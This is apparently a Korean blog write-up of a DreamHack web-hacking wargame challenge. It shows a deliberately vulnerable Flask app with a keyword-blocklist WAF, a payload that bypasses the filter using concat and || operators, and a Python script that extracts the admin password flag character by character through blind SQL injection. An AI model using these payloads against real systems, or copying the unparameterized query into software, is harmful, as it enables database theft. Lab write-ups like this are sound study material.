Study/Web Hacking

[DreamHack] sql injection bypass WAF Advanced

얀 짱 2026. 9. 21. 15:46

https://dreamhack.io/wargame/challenges/416

 

로그인 | Dreamhack

 

dreamhack.io

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''
# 이 키워드들 blocking 되어있슨 (대소문자도 다 막혀있는듯?)
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/', 
            '\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data.lower():
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):  # blocking 된 키워드로 검색할 때 
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
-- admin 비번 탈취하기가 목표 
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

 

https://hg2lee.tistory.com/entry/SQL-Injection-filtering-Bypass

 

SQL Injection filtering Bypass (필터링 우회)

SQL Injection 공격을 을 수행하다 보면 공격자로부터 WebApplication을 보호하기 위해 수많은 보호기법 및 필터링이 적용되어 있다. 이러한 필터링에 대해 적절한 유효성 검사를 하지 않는다면, 공격자

hg2lee.tistory.com

 

이 포스팅을 보고 admin을 우회하는 페이로드를 조합해봄.

'||(uid=concat('ad','min'))||'

 

이렇게 되면 '' (거짓) 또는 uid='admin' 또는 '' (거짓) 이렇게 되니까 우회 성공!

 

비번까지 추가해서 확인하자면

'||(uid=concat('ad','min'))&&substr(upw,1,1)='D'||'

 

admin의 패스워드가 플래그이기 때문에 시작이 DH{... 이런 식임. 그래서 substr 함수로 패스워드의 맨 앞의 값이 D 임을 이용해서 간이 테스트를 시도함. 

-> 이 방향성이 맞는 것 같음.

 

이제 음... 뭔가 노가다 인 것 같아서 버프 스위트 intruder 사용하면 되지 않을까.....?

 

포지션을 위치 1 부분이랑 D 플래그 구성 부분 이렇게 두 개로 잡았음.

플래그가 몇 글자일지 모르겠어서 위치 부분은 1부터 50자리까지로 확인함.

그리고 플래그는 들어갈만한 문자들을 txt 파일로 만들어서 해당 파일을 업로드 하는 식으로 진행함.

-> _, {, }, 0-9, A-Z, a-z 이렇게 넣은 txt 파일

 

응.......... 근데 진짜 ㄹㅇ 너무너뭐너무 오래 걸려서...요.... 그냥 파이썬 코드 짜서 할게요.....

import requests
import string

URL = "http://host3.dreamhack.games:22245/"

# 플래그의 구성요소..? => _, {, }, a~z, A~Z, 0~9
FLAG_CHARS = "_{}" + string.ascii_lowercase + string.ascii_uppercase + string.digits

# 플래그 초기화 
flag = ""

for i in range(1, 51):          # 몇 글자인지 모르겠지만은.. 일단 50글자로 해볼게요 
    found = False
    for char in FLAG_CHARS:
        params = { "uid": f"'||(uid=concat('ad','min'))&&substr(upw,{i},1)='{char}'||'" }

        response = requests.get(URL, params=params)

        if "admin" in response.text:
            flag += char
            print(f"{i}번째: {char} => {flag}")
            found = True
            
            # } 를 만나면 플래그!!
            if char == "}":
                print(f"끝!!! => {flag}")
                exit()
            break

 

플래그를 얻음!